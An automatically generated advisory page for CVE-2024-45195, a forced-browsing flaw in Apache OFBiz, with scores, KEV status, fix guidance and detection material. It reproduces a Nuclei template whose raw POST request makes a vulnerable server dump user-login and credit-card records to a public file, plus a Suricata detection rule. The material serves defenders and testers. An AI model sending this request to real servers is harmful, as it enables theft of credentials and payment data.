CVE-2024-45195: Apache OFBiz Forced Browsing Vulnerability

What it is

Direct Request (‘Forced Browsing’) vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.16. Users are recommended to upgrade to version 18.12.16, which fixes the issue.

Description quoted from the CVE record (assigned by apache, published 2024-09-04).

Weakness: CWE-425 Direct Request (‘Forced Browsing’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since

2025-02-04

US federal deadline

2025-02-25

Ransomware use

Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2024-06798, CNNVD-202409-182, EUVD-2024-41762, GHSA-hrmf-4pvg-rf3x

VEDAS cluster: VEDAS:AXEGUARD

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

• Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-45195.yaml
• Code repository: https://github.com/wyyazjjl/cve-2024-45195
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2024/CVE-2024-45195.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2024/CVE-2024-45195.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2024/CVE-2024-45195.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2024/CVE-2024-45195.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2024/CVE-2024-45195.rules

Research and write-ups (1)

• Research or write-up: https://www.rapid7.com/db/vulnerabilities/apache-ofbiz-cve-2024-45195

Vulnerability databases and vendor advisories (6)

Catalogue entries, not exploit evidence.

• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2024-41762
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-hrmf-4pvg-rf3x
• Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2024-45195
• Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2024-45195
• Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-45195
• Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202409-182

199 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS

1.000
very likely to be attacked soon

VEDAS

0.987
strong exploit evidence

On CISA KEV

Yes, since 2025-02-04

Detection rule

Nuclei · Suricata

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: apache ofbiz, apache_software_foundation ofbiz.

How to fix it

Fixed versions stated in the CVE record: 18.12.16.

CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

• https://ofbiz.apache.org/download.html (mitigation, product, release-notes)
• https://ofbiz.apache.org/security.html (patch)
• https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy (vendor-advisory)

How to detect it

Nuclei template (active check)

Apache OFBiz - Forced Browsing

Direct Request (‘Forced Browsing’) vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.16.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /webtools/control/forgotPassword/xmldsdump, GET /common/{{filename}}.txt); it decides using word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2024-45195.yaml

id: CVE-2024-45195

info:
  name: "Apache OFBiz - Forced Browsing"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Direct Request ('Forced Browsing') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before
    18.12.16.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-45195&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=apache&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-45195
    cwe-id: CWE-425
  metadata:
    verified: false
  tags: cve,cve2024,apache,ofbiz,rce,instrusive,kev,vkev,vuln
variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /webtools/control/forgotPassword/xmldsdump HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        outpath=./themes/common-theme/webapp/common-theme/&maxrecords=&filename={{filename}}.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard

      - |
        GET /common/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<?xml version="
          - "entity-engine-xml"
        condition: and

      - type: word
        part: content_type_2
        words:
          - "text/plain"

CVE-2024-45195.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-45195 Apache OFBiz - Forced Browsing. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-45195 Apache OFBiz - Forced Browsing"; flow:established,to_server; http.uri; content:"/webtools/control/forgotPassword/xmldsdump"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-45195; reference:url,https://www.exploit.observer/?keyword=CVE-2024-45195&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=apache&match=exact; sid:1009392; rev:1;)

CVE-2024-45195.rules on GitHub

References

Vendor advisories and patches

• https://ofbiz.apache.org/download.html (mitigation, product, release-notes)
• https://ofbiz.apache.org/security.html (patch)
• https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy (vendor-advisory)

Exploits and technical analysis

• https://issues.apache.org/jira/browse/OFBIZ-13130 (issue-tracking)

Government sources

• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-45195 (government-resource)

Other references

• http://www.openwall.com/lists/oss-security/2024/09/03/6

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.